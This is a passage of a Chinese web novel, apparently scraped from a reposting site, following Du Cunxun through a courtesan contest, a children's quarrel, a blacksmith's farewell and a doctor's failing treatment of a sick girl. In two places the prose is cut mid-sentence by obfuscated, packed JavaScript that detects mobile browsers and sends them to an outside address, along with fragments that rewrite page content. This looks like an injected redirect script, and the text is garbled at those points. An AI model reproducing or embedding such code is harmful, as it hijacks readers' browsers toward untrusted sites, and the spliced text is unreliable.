艺伎们还在谈论着,时不时轻轻笑出声来。谈论的无非是客人间各种风流韵事,还有临近的花魁大会。 花魁大会于晏州的青楼而言,向来是能顶天的大事。晏州三年办一次花魁选秀,届时朝廷官员大多会应邀前来为喜欢的艺伎添上一票,皇帝若是起了兴致,也会来选个合眼的带回宫里当消遣。 因参选的都是各家青楼里精挑细选出来的美人,万种风情,且各花入各眼,故大会与其说是选花魁,不如说是美人们借此契机为自家青楼博些名声。 本次选秀,花娘虽势在必得,但也不敢懈怠,日日紧盯自家姑娘练舞,只盼着那袅娜的身段能多勾走几个大官的魂,给她送来好几车的金银。 杜存荀静静听着,忽然听到了沉香的名字。琴师已经病愈回来,沉香顶替了另一个要上台的艺伎,这几日正在练舞。 “……初七就要选了,沉香哪里来得及……” 今年的花魁大会,定在七月初十。 今日已经是七月初二了。 年楚要上台。 杜存荀匆匆擦干了身子来到大堂,没看年楚,赶回房间,年楚正往耳边挂面纱。 “我听人说,你也要上台。”杜存荀刚赶上来,气息还有些乱。 年楚回头,眼里闪过一丝惊诧,但很快又被平静覆过,“楼里有个姐妹扭到了脚,我央求花娘让我来替她。” 杜存荀心里了然。单论舞姿,年楚比不得楼里其他姑娘,若不是她自告奋勇,花娘不会无故叫她来顶替。更何况她左眼下还留有一道细长的刀疤。 虽然那疤痕一眼看过去并无不妥,但年楚平日待客时还是会在左眼周围描上花来掩饰。估计是刚卸了妆,花娘看不惯,这才遣她回来戴上面纱。 花娘识人无数,看出年楚是个美人胚,就是当今云想楼最美的女子与之相比,都要逊色几分,故年楚初进云想楼的那些日子里,她托了不少人,也使了不少银两,到处寻医问药,想要祛掉年楚脸上的细疤。 只可惜收效甚微。 那些膏药是否有用,杜存荀无从知晓,毕竟它们出了花娘的口袋后,转眼就被年楚关进柜子里落灰。 脸上留着疤的年楚也像那些膏药一般,被花娘隐于琴后,不轻易引荐给来客。 “可你脸上的疤……” 杜存荀定睛去瞧年楚脸上的疤痕。眼角下,那疤痕已经淡得快要看不出。 “花娘说了,若是我成了花魁,她就不会将我卖给张平做妾。”年楚抬手去抚左眼,早已不似先前的突兀触感,“再过几日,就会完全消掉了。” “可是……” 可是,等你成了花魁,身价高涨,我那点酬金,到时候又怎么足够将你赎出来。 “杜尧,你不可能永远都帮我。”年楚擦去杜存荀额角因跑动而出的薄汗,笑,“我有自己的路要走。” 言尽于此。 —— 杜存荀夜里回到陆府时,陆辰竹正孤零零一个人跪在小院里。 季庄房里亮着灯,挽娘也还没睡。 杜存荀走到陆辰竹面前,问他出什么事了。 陆辰竹红着眼眶,眼睛死死盯着地面,抿着唇一句话不说。季庄听见声响走出来,说是陆辰竹在夏家动手打人,挽娘罚他跪一个时辰,等他知错才愿意见他。 现在一个时辰早已经过了,他不认错,挽娘不见他,他就这么一直跪着。 “为何打人?”杜存荀蹲下问陆辰竹。 陆辰竹泪珠子先掉了几颗,才下弯嘴角说谢初笑他笨,笑他长不大,还笑他娘亲死皮赖脸留在陆家,肯定跟陆行有过苟且之事。 听到谢初的名字,杜存荀就觉得头疼。 谢初是谢家的小公子,如今也拜在夏恭门下读书。 谢家仗着皇帝器重,行事一向嚣张跋扈,公子小姐们受家风熏陶,也都养成了目中无人的刁蛮性子。但她没想到,陆辰竹这才第一天进学,就和谢初生出了嫌隙。 “辰竹先向娘亲认错,今晚好好睡一觉。明日我与辰竹一起去给谢小公子道歉赔罪,好不好?”季庄劝。 “我不要。他也有错。”陆辰竹憋着泪,胸口不停起伏。 “先打人就是错了。如果辰竹习武是为了先打人,师父以后再也不教你武功。”杜存荀站起来,“辰竹这样做不是保护娘亲。” 她虽然也气不过,但毕竟陆辰竹打人在先。 她闲暇时简单教陆辰竹一些防身的招数,也算是对得起他一声“师父”,虽不至于伤人,但有师父这个名分在,真要责怪起来,陆行总能怪到她头上。 陆辰竹果然马上抬头,“不要......” “那辰竹向师父保证,以后不会先对人动手。” 陆辰竹动动嘴唇,知道杜存荀没有与他开玩笑,鼓着腮帮子答应。 杜存荀将他扶起来,“现在去找娘亲认错,明日去向谢初道歉。” 陆辰竹跪了太久,膝盖疼得站不起来,杜存荀将他一把抱起,敲响了挽娘的房门。 母子俩和好后,杜存荀与季庄挑明,“谢家不会接受辰竹的道歉。” 谢初是谢家的掌中宝,在谢家里都怕磕了碰了,被陆辰竹这个不受待见的陆家庶子打了一拳,怎么会善罢甘休。 “辰竹自己回来的?”杜存荀又问。 “夏夫子差人送回来的。” “夫子有说什么吗?” 季庄想了想,“没有。” 看来夏恭想要置身事外,让两家自行解决这场纷争。 “大夫想让辰竹如何向谢家道歉?”暂时想不出应对的法子,杜存荀问季庄有什么主意。 季庄被问住。 还能如何道歉,低头认错,再送点谢初喜欢的物什。小孩子之间的恩怨总不会太复杂。 杜存荀接着又问,“季大夫知道谢初喜欢什么?” “......不知。” 杜存荀料想即使谢初不原谅陆辰竹,在夏家也掀不起什么大风浪,便想着先将此事搁置下来,明日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292863|164133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再去找年楚想想办法。 但想到年楚,杜存荀心里突然不是滋味。 她一时不想再见她。 她九死一生将被年楚从和亲队伍里救出来,那道疤痕分明是功勋。 如今年楚却为了以色侍人将疤痕祛掉。 明明重获自由身指日可待,却甘愿将自己困进更深的牢笼。 她不懂她为何要作践自己。 季庄刚想问杜存荀怎么换上了别的衣裳,话还没出口,杜存荀却已经头也不回进了房间关上门。 —— 次日一早,正如昨日拜师一般,小院中四人一同去了夏家。 夏恭说谢初在家养伤,没来。 四人赶到谢家,家丁却转告说小少爷沾染晦气东西伤了身子,这几日闭门谢客。 不用明说,晦气东西指的就是陆辰竹。 处处碰壁,三人皆看向主心骨杜存荀。杜存荀做出决断,“兵来将挡水来土掩,辰竹先回夏家,谢初爱来不来。” 季庄觉得不妥,但眼前也没有更好的办法,再加上杜存荀脸色并不好看,也就没说什么。 夜里,杜存荀忍住没去云想楼,溜进辛府去找辛成柏打听谢家近来的动向。 “昨日谢忠正因治水有功又升了官,带上谢初一起去泠宫谢恩。” 杜存荀心里明白,谢忠正把脸上挂彩的谢初也带过去,不仅是趁机在皇上面前混个脸熟,也是为了踩陆行一脚。 陆辰竹打人,往小了说,可以是陆行管教无方,往大了说,可以是陆行身处高位为人狂妄,教唆庶弟欺压同窗,有意在百姓面前树威风。 果然,没过几日,陆行就从泠宫回了府。 杜存荀悬着一颗心——要是陆行问起陆辰竹怎么学会的打人,迟早要查到她头上。 可战战兢兢几天后,无事发生。 杜存荀觉得奇怪,问辛成柏有没有听到什么风声。小老头酸溜溜说皇上一直没叫他去泠宫议事。 之后日子过得风平浪静,陆辰竹继续跟着夏恭读书,谢初虽不改蛮横本性,但也不再生事端。 杜存荀教给陆辰竹的功夫一直停留在简单的防身招数,日复一日。 时日一长,陆辰竹终于发觉没学到新东西,主动来问:“师父,我想学轻功。” “这个你学不了,”杜存荀躲在树荫下乘凉,嘴里啃一颗枣,“天生轻骨的人才能学轻功。” “我想要一柄剑。像师父那样的。” 杜存荀动作一停,几乎是下意识将心中升腾的不好念头压下去,劝道:“铸剑得花好多银两呢,辰竹先练好这把木剑,往后赚了银两再打一把天底下最好的剑。” 陆辰竹低头妥协,“好吧。” 一个月快要到头,顾怜一反平常没闹出什么动静,辛成柏也鲜少再找杜存荀办事,杜存荀乐得清闲,却也不再去云想楼与年楚唠嗑。 怀武铸好了剑,提早七日将剑送到陆府,喊杜存荀出来拿。 杜存荀看着瘸了一条腿的怀武,眉头紧皱,“谁干的?” “什么谁干的......年纪大了,摔的。”怀武将装着新剑的木匣子递给她,“字契给我。” “伤成这样怎么不等我上门去拿,何必多跑一趟。”杜存荀心疼道。 “这个月没生意,赚不到银两。”怀武接过杜存荀递来的字契,折好放进衣兜,“我知道你守诺,等你七日后再来,我那铺子都搬到城外去了,你想找都找不到。” 杜存荀打开剑匣要试试新剑,怀武却将盖子合上,“急什么,还怕我骗你?这路上人来人往,你是想显摆还是想招人误会?” “回去再看。” 20. 第 20 章 杜存荀追出去的时候,怀武早已不见了踪影。 一路疾奔到铁匠铺,却只看到一地灰烬,甚至还有佝偻乞丐在里面翻找木炭和没烧坏的铁器。 杜存荀问了路边正在收摊的摊贩,才知道这铺子前几日被人投了一把火。之后接连几日,这铺子都会在深更半夜烧起来。 “昨天晚上烧得最早最猛啊,也是现在这个时候,那火光就冲了天。”摊贩叹了口气,“幸好人出来了,不然连骨头渣子都见不着。” “不是逃出来了么?”杜存荀问,“我怎么今日见到他,还瘸了一条腿。” “这怀老六也是不要命,好不容易逃出来了吧,又冲了进去,说有把剑没拿。这下好了,那掉下来的火梁把腿砸瘸了,动不了了。要不是有人进去救他,这好好一条命不就没了吗?”摊贩手背一拍,“就算是天王老子叫他铸的剑,也没有性命重要啊,姑娘你说是不是......” “他说过之后要去哪里吗?”杜存荀几乎是不抱希望去问。 “这个倒没听他提起。”摊贩挠挠脑袋,“过几日还会再开吧。这地段生意好,隔几天就有人上门来拿剑,我看他重开一次不成问题。” 杜存荀心里比谁都清楚,怀武再不会重操旧业了。 从前怀家声名在外,怀武嚣张跋扈的样子与谢初相比,只能说是有过之而无不及。他少不更事时得罪人太多,欠下的人命更是数不清,加上怀家本就树大招风,于是风光到了怀武这一代就被打得烟消云散。 仇家一次次找上门,他没了家族庇护,只能一躲再躲。 “......我已身如浮萍,遇良人不能近,思故友不得见,终日战战兢兢。而今半身入土,已然避之不及。” “念至交如日方升,故以身作诫。” “望心存善念,平安如故。” 这是怀武与她最后的告别。 —— 问不出怀武的下落,杜存荀脚步沉重回到陆府,却在门口碰见一小女娃风一样跑了出来。 杜存荀顺手一拦,将小女娃拎起,“跑这么快做什么,当心摔了。” 小女娃在空中扑腾,活像一只被困住的鸟儿,尖声大喊道:“你是谁呀!你放我下来!” 霎那间,杜存荀听见冷剑出鞘,偏头躲过一击,警觉将陆云抱在怀里护着。 飞身落地的人脸上蒙着一张黑巾,看不清脸,杜存荀因为一手抱着陆云稍处下风,一路被他逼退至墙角。 陆云吓得不敢睁眼,两只手死死扣着杜存荀脖子。 杜存荀被箍着,气都喘不顺,情急之下只好掏出黑羽剑,直指来人咽喉。 要不是来人腰间的铜牌晃了她一眼,她就迷迷糊糊将陆府里头的暗卫给杀了。 连退好几步拉开距离,杜存荀半跪在地将小女娃和黑羽剑都放下,“在下杜存荀,是季大夫新招的武夫,不知府中规矩,无意冒犯小姐,还请大人手下留情。” 这小女娃方才闷头往前冲,杜存荀没看清楚,以为她是府中某个家丁带来的小孩,怕她横冲直撞冒犯了府中的大人,这才将她拦住。 这会儿小女娃皱着眉头将脸蛋朝向自己,杜存荀看着面前这张神似陆行的脸,更加确信她是整个陆家的掌中宝,陆云。 这暗卫真是尽职尽责。杜存荀暗叹。她才刚碰到陆云,什么都没干,就差点没了性命。 暗卫收剑入鞘,将陆云护在身后,居高临下将黑羽剑踢开,“季大夫的人?” 杜存荀瞥一眼像垃圾一样被踢开的黑羽剑,咬牙点头。 “字契拿来。” 杜存荀腹诽:谁天天把字契带身上...... 但嘴上却恭敬得很:“字契我放在卧房了,大人可以随我一同去拿。” 这暗卫竟也不嫌麻烦,真要跟着她去找字契,杜存荀只好起身,“大人请随我来。” 没走出几步,杜存荀就看见夫人郑筠和一个老嬷嬷自转角小跑过来。 一直不出声的陆云这才哭着跑过去扑进母亲怀里。 郑筠提心吊胆将陆云抱起,伸手去探她额头,又上下看遍,确认没有受伤,这才朝蒙面人皱眉头,“怎么回事?” 杜存荀抢在暗卫之前迅速认错,“我回来时见小姐要跑出大门,怕她遇到危险,于是自作主张将小姐拦了下来。” 郑筠好似才看见杜存荀,“姑娘是?” 郑筠身旁的老嬷嬷先一步替杜存荀作出回答,“夫人,这位姑娘是季大夫新招来的随身武夫,名叫杜存荀。” 老嬷嬷身材矮小,一头灰白发梳得整齐,两颊皮肉松弛得耷拉下来,说话时轻轻荡了又荡。 杜存荀看着她慈祥的面容,心里却说不上来的别扭。 —— “夫人身边那位嬷嬷是什么人?”有惊无险回到小院,杜存荀忍不住向季庄打听。 先是鱼鹤音,再是老嬷嬷,她终究还是成了个八卦的人。 “大家都喊她图嬷嬷。小姐出生后,是她和夫人一起照顾小姐。”季庄收好正在看的医书,“怎么了?” 杜存荀把刚才拦住陆云之后的事情向季庄说了一遍。 “小姐最近身子好了些,想出去看看。”季庄听完叹道,“老爷不放心,叫人看着不让她出门。” “那怎么还跑到了大门?” “小姐虽然身子弱,但很机灵。”季庄无奈笑道,“之前不愿意喝药,还偷偷倒掉了许多。” 杜存荀猜陆云也是个不循常规、古灵精怪的小孩。要不是常年患病,估计能将陆府闹腾个遍。 “陆云患的是什么病?”杜存荀想起季庄就是因为陆云才来的晏州。 如今已经三年了,竟还没治好。 季庄也是不解。陆云的病并不复杂,他用着师父给的方子对症加减药材,早在一个月内就该好了的,病情却反反复复,虽不至于命悬一线,但也折磨了她三年之久。 要不是陆行看在师父的面子上,恐怕早已将他赶出陆府,另寻高人。 杜存荀对季庄的医术深信不疑——他不可能接连三年都治不好一个小孩。如果真是回天乏术,他会直说。 于是便猜想会不会是有人从中作梗,“陆云平日里会乖乖忌口吗?” 季庄迟疑,答:“小姐的食膳都是夫人和图嬷嬷一起看着的。” 杜存荀反问,“你不是说陆云还偷偷倒掉了几次汤药么?前几次夫人怎么没发现?” 季庄发现杜存荀认真起来实在犀利,这才后知后觉自己的疏忽,“这些事都是下人们说给我听的,其中细节,我并不清楚。” “你是她大夫,知道陆云不肯安分喝药,当时为何不多问几句?”杜存荀恨铁不成钢,“三年了,还治不好,你不觉得奇怪吗?陆辰竹都能治好,她陆云怎就好不了了?” “小姐与辰竹不同......”季庄被杜存荀突然之间的质问吓到,说话的声音都低了下来。 与陆辰竹不同,陆云是陆府掌中宝,平日里咳一声都叫人提心吊胆,他怎敢去问陆云为何不喝药。能做的只有下次在方子里多添一味不妨碍药效的甘草或者蜂蜜,让汤药喝起来没有那么苦口。 杜存荀看着季庄唯唯诺诺的模样就来气。 治病救人时不怕死,见义勇为的时候不怕死,安安分分待在陆府里倒是畏手畏脚。 他怎么说也是陆行专行请回来的大夫,怎么一点名医的傲气和威严都没有。 季庄道出实情,“其实老爷起初是想请我师父来为小姐治病。但晏州和连州离得远,师父年纪大了禁不住舟车劳顿,这才将我派过来。” —— 得知可以自己出师的那天,季庄其实是害怕的。 他还没有试过自己开方。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298420|164133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 同门的师兄弟都羡慕季庄被师父青睐,毕竟尚未及冠便可以行医,不是神童是什么? 季庄翻来覆去想了一夜,一夜没睡。 第二天一大早,季庄找到季升,“师父,弟子自认医术尚浅,还做不到行医救人,弟子想继续跟着师父……出师一事,请师父三思。” 季升抿一口茶,拄着拐杖颤巍巍站起来,走到他面前。 “陆家那小女娃得的不是什么大病,治起来不难。我给你写张方子,你依着病情加减,帮她调理两年身子。”季升像是没听见季庄的推辞,从袖中取出一张纸递给他。 “我已经和陆家谈妥了,他们会给地方你住,吃的穿的也会多备一份。你若是有把握,就开几个方赚些银两自己花,没把握,不开方,有陆家照顾,也饿不死。” “陆家对我有恩呐,但我老了,走不了太远的路,只能叫你过去帮忙。晏州好啊,姜国的都城呢,你过去后正好历练历练。这天下大着呢,跟着我这把老骨头一辈子都窝在这座药山里,多不值当。” “可其他师兄……” “他们有别的安排。” 季庄收下那一纸药方,知道出师这事是板上钉钉了,只好硬着头皮进了陆家的马车。 陆行心急,日夜都在赶路。本该十日的行程,季庄在马车上接连颠簸了三四日就到了晏州。 到达陆府时正是黄昏。 一下马车,季庄头还晕着,肩上的包袱就被奴仆接过,整个人被簇拥着带到陆云面前。 见到小病人,季庄强打起精神,静下心来切脉,发现陆云的病情正如师父所说,并不复杂。 若是让他来开药,他有九成九的把握能治好。可他如今在陆家,府中上下的仆从比他这辈子见过的人加起来还多。 季庄心里还是怕的。 他不是陆行所求之人,他怕自己治不好。 循规蹈矩照着师父给的药方开药,等陆云喝了药止了咳,季庄才放松了下来。 颇有死里逃生的解脱感。 心中大石落了地,此后季庄在陆府的日子过得还算自在。 因为他是陆行亲自请回来的大夫,治病立竿见影,所以府中仆从对他十分恭敬。日子久了,大家发现他待人随和,便与他熟络起来。 季庄第二次开方是给府中厨娘的孩子治病。 那小孩夜里总是惊醒,醒了之后就哭,闹得一整家子人睡不好。 厨娘来找季庄,季庄犹豫着说可以试试。 厨娘是个泼辣性格,平日里也能见到她拧着自家小孩的耳朵一顿打,这时候说话更是直接,“大夫你尽管治,这孩子贱命一条,治得好就治,治不好就是他的命,大不了将他扔屋外头睡去。” 季庄把这话当了真,放手一搏,小孩当晚便不再夜啼。 一回生二回熟,季庄这一开头,名气也跟着来了。 登门求医的百姓越来越多,陆行不胜其扰,但又不好将人拒之门外,索性给季庄建了所宅子,叫他一个人出去住。 谁知季庄搬出去没多久,陆云又生起了病,没日没夜地咳,于是季庄只好又搬回来。 说来也是奇怪,只要季庄在陆府看着,陆云便活蹦乱跳,季庄一离了府,陆云立马卧床不起。久而久之,陆行只好留季庄一直在府中住着,还专门安排人去应付前来求诊的百姓。 季宅就此荒废了也是浪费,陆行便将季宅改成药园子,将各处搜罗来的本草都种在宅子里,要是遇上急病,药房缺药,季宅里的存货也能应付一时之急。 旁人看来,季庄这辈子能遇到陆行,得到陆府庇护,是几世修来的福分,杜存荀却替季庄悲哀。 天下之大,一成年男子,受困于方寸之地,终日依附于他人生活,不觉壮志难酬,反而安然度日。明知事有蹊跷,却因害怕而不敢戳破。 难成大器。